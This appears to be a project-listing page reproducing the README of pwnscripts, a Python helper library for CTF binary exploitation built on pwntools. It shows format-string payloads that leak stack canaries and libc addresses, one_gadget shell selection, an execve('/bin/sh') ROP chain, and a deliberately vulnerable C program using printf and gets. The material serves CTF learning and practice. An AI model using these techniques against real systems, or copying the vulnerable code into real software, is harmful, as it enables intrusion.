All Projects → 152334H → pwnscripts

152334H / pwnscripts

Licence: GPL-3.0 License
Very simple script(s) to hasten binary exploit creation

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to pwnscripts

FastPwn
CTF中Pwn的快速利用模板(包含awd pwn)
Stars: ✭ 18 (-72.73%)
Mutual labels:  exploit, pwn, ctf, pwntools
Gef
GEF (GDB Enhanced Features) - a modern experience for GDB with advanced debugging features for exploit developers & reverse engineers ☢
Stars: ✭ 4,197 (+6259.09%)
Mutual labels:  exploit, pwn, ctf, pwntools
exploiting
Exploiting challenges in Linux and Windows
Stars: ✭ 122 (+84.85%)
Mutual labels:  exploit, pwn, ctf, pwntools
Pwntools
CTF framework and exploit development library
Stars: ✭ 8,585 (+12907.58%)
Mutual labels:  exploit, ctf, pwntools, rop
One gadget
The best tool for finding one gadget RCE in libc.so.6
Stars: ✭ 1,306 (+1878.79%)
Mutual labels:  exploit, pwn, ctf
Write Ups
📚 VoidHack CTF write-ups
Stars: ✭ 45 (-31.82%)
Mutual labels:  exploit, pwn, ctf
rop-benchmark
ROP Benchmark is a tool to compare ROP compilers
Stars: ✭ 23 (-65.15%)
Mutual labels:  rop, rop-gadgets, return-oriented-programming
winpwn
CTF windows pwntools
Stars: ✭ 137 (+107.58%)
Mutual labels:  pwn, ctf, pwntools
Ctf
some experience in CTFs
Stars: ✭ 165 (+150%)
Mutual labels:  exploit, ctf, rop
kar98k public
pwn & ctf tools for windows
Stars: ✭ 24 (-63.64%)
Mutual labels:  pwn, ctf, ctf-tools
src
This is the source of our Return Oriented Programming tool.
Stars: ✭ 14 (-78.79%)
Mutual labels:  rop-gadgets, binary-exploitation, return-oriented-programming
readhook
Red-team tool to hook libc read syscall with a buffer overflow vulnerability.
Stars: ✭ 31 (-53.03%)
Mutual labels:  exploit, rop, rop-gadgets
Shellen
🌸 Interactive shellcoding environment to easily craft shellcodes
Stars: ✭ 799 (+1110.61%)
Mutual labels:  exploit, pwn, ctf
My-PWN-Life
This is a PWN challenges repo.###### 1f y0u l1ke, g1v3 m3 a star~
Stars: ✭ 23 (-65.15%)
Mutual labels:  pwn, ctf, rop
Hyperpwn
A hyper plugin to provide a flexible GDB GUI with the help of GEF, pwndbg or peda
Stars: ✭ 387 (+486.36%)
Mutual labels:  exploit, pwn, ctf
Ctf All In One
CTF竞赛权威指南
Stars: ✭ 2,807 (+4153.03%)
Mutual labels:  exploit, pwn, ctf
Exrop
Automatic ROPChain Generation
Stars: ✭ 191 (+189.39%)
Mutual labels:  pwn, ctf, rop
Exploit-Development
Exploit Development - Weaponized Exploit and Proof of Concepts (PoC)
Stars: ✭ 84 (+27.27%)
Mutual labels:  exploit, rop, rop-gadgets
NTU-Computer-Security
台大 計算機安全 - Pwn 簡報、影片、作業題目與解法 - Computer Security Fall 2019 @ CSIE NTU Taiwan
Stars: ✭ 293 (+343.94%)
Mutual labels:  pwn, ctf, binary-exploitation
ctf-writeups
📚 Yet another CTF writeups repository. PWN and RE tasks
Stars: ✭ 29 (-56.06%)
Mutual labels:  pwn, ctf, binary-exploitation

pwnscripts (0.6.0)

Tests PyPI package Python

Very simple script(s) to hasten binary exploit creation. To use, pip install pwnscripts OR run

git clone https://github.com/152334H/pwnscripts
cd pwnscripts
pip install -e .

and replace from pwn import * with from pwnscripts import *, e.g.

from pwnscripts import *
context.binary = './my_challenge'
...

Additionally, the libc_database() extension of pwnscripts requires the libc-database.

You might want to look at some of the examples in user_tests_and_examples.py.

Features

Pwnscripts has a number of different features.

Libc

Things like LibcSearcher have always felt incomplete.

Pwnscripts provides two libc classes: libc() and libc_database(). The easiest way to start with both is with context:

context.libc_database = '/path/to/libc-database'  # https://github.com/niklasb/libc-database
context.libc = '/path/to/pwnscripts/examples/libc.so.6'

Anything you can run with ./libc-database/[executable] is available as a libc_database() method:

>>> context.libc_database.dump('libc6_2.27-3ubuntu1_amd64')
b'offset___libc_start_main_ret = 0x21b97\noffset_system = 0x000000000004f440\noffset_dup2 = 0x00000000001109a0\noffset_read = 0x0000000000110070\noffset_write = 0x0000000000110140\noffset_str_bin_sh = 0x1b3e9a\n'
>>> output = context.libc_database.add()
>>> print(output.decode())
Adding local libc /path/to/pwnscripts/examples/libc.so.6 (id local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb  /path/to/pwnscripts/examples/libc.so.6)
  -> Writing libc /path/to/pwnscripts/examples/libc.so.6 to db/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so
  -> Writing symbols to db/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.symbols
  -> Writing version info

libc_database() also has a few additional methods; you can look at the tests and examples and documentation to see.


The libc() object is a subclass of pwntools' pwnlib.elf.elf.ELF(). It starts off with a base address of 0, but you can change that to match a remote executable by providing it with leaked addresses:

>>> context.libc.symbols['scanf'] = 0x7fffa3b8b040 # Provide a leaked address to libc
>>> context.libc.address  # This is automagically updated after assignment
0x7fffa3b10000
>>> context.libc.symbols['str_bin_sh']  # Symbols from libc-database are stored in context.libc
0x7fffa3cc3e9a

pwnscripts is smart about context.binary: if context.libc is set, context.binary.process() will run with that libc version:

$ gcc -x c - <<< 'int main(){printf("%p\n", printf);}'
$ python3.8
>>> from pwnscripts import *
>>> context.log_level = 'warn'
>>> context.libc_database = 'libc-database'
>>> context.binary = './a.out'
>>> context.libc = 'libc6_2.31-0ubuntu9_amd64'
>>> context.binary.process().recvline()
b'0x7fa0f3c3fe10\n'   # printf 0000000000064e10
>>> context.libc = 'libc6_2.24-11+deb9u4_amd64'
>>> context.binary.process().recvline()
b'0x7fb99b69e190\n'   # printf 000000000004f190

libc() provides one_gadget integration in the form of an interactive selection:

>>> context.libc.select_gadget()
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
 [?] choose the gadget to use: 
       1) 0x4f2c5
       2) 0x4f322
       3) 0x10a38c
     Choice 

You're free to shut up the interactive menu by giving .select_gadget() an argument:

>>> context.libc.select_gadget(1)
0x4f322

More features exist, but this is already too long.

Format string exploitation

printf() challenges are repetitive. Under the fsb module, pwnscripts makes an attempt to further abstract the process of printf() exploitation.

Consider this simple program:

//usr/bin/gcc -pie -fstack-protector-all -z,relro,-z,now "$0" -o test.o; exit
int main(){
  char s[200];
  fgets(s, 199, stdin);
  printf(s);   // leaker
  gets(s+200); // overflow
}

Let's further assume that you've decided to exploit this by returning to libc with the buffer overflow present. printf() can leak the runtime values of the stack canary && libc page, but only after figuring out the specific stack offset (i.e. figuring out m for %m$p) for both of those values.

Similar to the FmtStr() class in pwntools, we'll start by setting up a python function to abstract away the i/o associated with this challenge in particular:

>>> @context.quiet
... def printf(line: str) -> bytes:
...   r = context.binary.process()
...   r.send(line)
...   return r.recvline() # return the output of printf()

With this function, We can automate the process of offset identification with fsb.leak_offset:

>>> context.binary = './test.o'
>>> context.log_level = 'debug' # demonstration
>>> canary_offset = fsb.find_offset.canary(printf)
[DEBUG] cache is at ~/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default
[DEBUG] pwnscripts: extracted 0x7c
[DEBUG] pwnscripts: extracted 0x4141414141414141
... (omitted log) ...
[DEBUG] pwnscripts: extracted 0xcd088451e013aa00
[*] pwnscripts.fsb.find_offset for 'canary': 31

With the canary found, we can move on to leaking libc. Since __libc_start_main_ret is located immediately after the canary in the stack, the printf() cache maintained by fsb.find_offset will speed things up immensely:

>>> context.libc_database = '../libc-database'       # replace with yours
>>> libc = libc('/lib/x86_64-linux-gnu/libc.so.6') # ibid
>>> libc_offset = fsb.find_offset.libc(printf,
... offset=libc.symbols['__libc_start_main_ret']&0xfff)  # Specify that we're looking for a value matching __l_s_m_r
[DEBUG] cache is at /home/throwaway/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default
(cached) [DEBUG] pwnscripts: extracted 0x7c
(cached) [DEBUG] pwnscripts: extracted 0x4141414141414141
... (omitted cache log) ...
(cached) [DEBUG] pwnscripts: extracted 0x3ad0d999e654b800
[DEBUG] pwnscripts: extracted 0x0
[DEBUG] pwnscripts: extracted 0x7f17857870b3
[*] pwnscripts.fsb.find_offset for 'libc': 33

More examples can be found here and here.


Apart from offset bruteforcing, pwnscripts.fsb also contains a .leak submodule to make leaking values with %s more programmatic.

The simple idea is that you get a payload to leak printf values:

offset = fsb.find_offset.buffer(...) # == 6
payload = fsb.leak.deref_payload(offset, [0x400123, 0x600123])
print(payload)  # b'^^%10$s||%11$s$$#\x01@\x00#\x01`\x00'

And after sending the payload, extract the values with a helper function:

r = remote(...)
r.sendline(payload)
print(fsb.leak.deref_extractor(r.recvline()))  # [b'\x80N\x03p\x94\x7f', b' \xeb\x04p\x94\x7f']

Minor features

Pwnscripts also comes with a few minor extensions and functions:

  • util: utility functions absent from pwntools. Some of the more useful things:
    • is_addr is an object you can use to check for specific address types. e.g.
      >>> context.arch = 'amd64'
      >>> is_addr.PIE(0x55f83ba1034d)
      True
      >>> is_addr.stack(0xba081240a911)
      False
      >>> is_addr.libc(0x7fba912bd93d)
      True
      These functions are heuristic-based: they don't guarantee correctness, but tend to hit the mark nonetheless.
    • unpack_*: Better unpacking functions. Some examples:
      >>> unpack_many_hex(b'jfawoa0x1234aokfw 0x123')
      [0x1234a, 0x123]
      >>> unpack_bytes(b'\x12\x34\x56\x78\x90\xab\xcd\xef', 6)
      0xab9078563412
  • rop.py: an extension of pwntools' pwnlib.rop.rop.ROP. Core feature is to simplify ROP building outside of SIGROP:
    >>> context.arch = 'amd64'
    >>> r = ROP('./binary')
    >>> r.system_call.execve(['/bin/sh',0,0])
    >>> print(r.dump())
      0x0000:         0x44a309 pop rdx; pop rsi; ret
      0x0008:              0x0 [arg3] rdx = 0
      0x0010:              0x0 [arg2] rsi = 0
      0x0018:         0x41e4af pop rax; ret
      0x0020:             0x3b [arg0] rax = SYS_execve
      0x0028:         0x401696 pop rdi; ret
      0x0030:             0x40 [arg1] rdi = AppendedArgument(['/bin/sh'], 0x0)
      0x0038:         0x4022b4 SYS_execve
      0x0040:   b'/bin/sh\x00'
  • As was implicit in prior sections, context has been expanded with a number of extra attributes:
    • .libc and .libc_database, which are useful for everything mentioned above
    • .is_local, to check if the most recently opened pwntools tube is a remote/local process
  • other unlisted features in development

Proper examples for pwnscripts are available in examples/ and user_tests_and_examples.py.

I tried using it; it doesn't work!

File in an issue, if you can. With a single-digit userbase, it's hard to guess what might go wrong, but potentially:

  • pwnscripts is broken

  • Python is outdated (try python3.8+)

  • libc-database is not properly installed/initialised (did you run ./get?)

  • The binary provided is neither i386 or amd64; other architectures are mostly ignored (out of necessity)

  • The challenge is amd64, but context.arch wasn't set to amd64

    • Set context.binary appropriately, or set context.arch manually if no binary is given
  • Other unknown reasons. Try making a pull-request if you're interested.

Updates

See CHANGELOG.md.

Although version numbers follow the Semantic Versioning format, backwards compatibility is never assured; historical pwnscripts behaviour will be broken where appropriate.

Gradual updates expected as I continue to do pwn.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].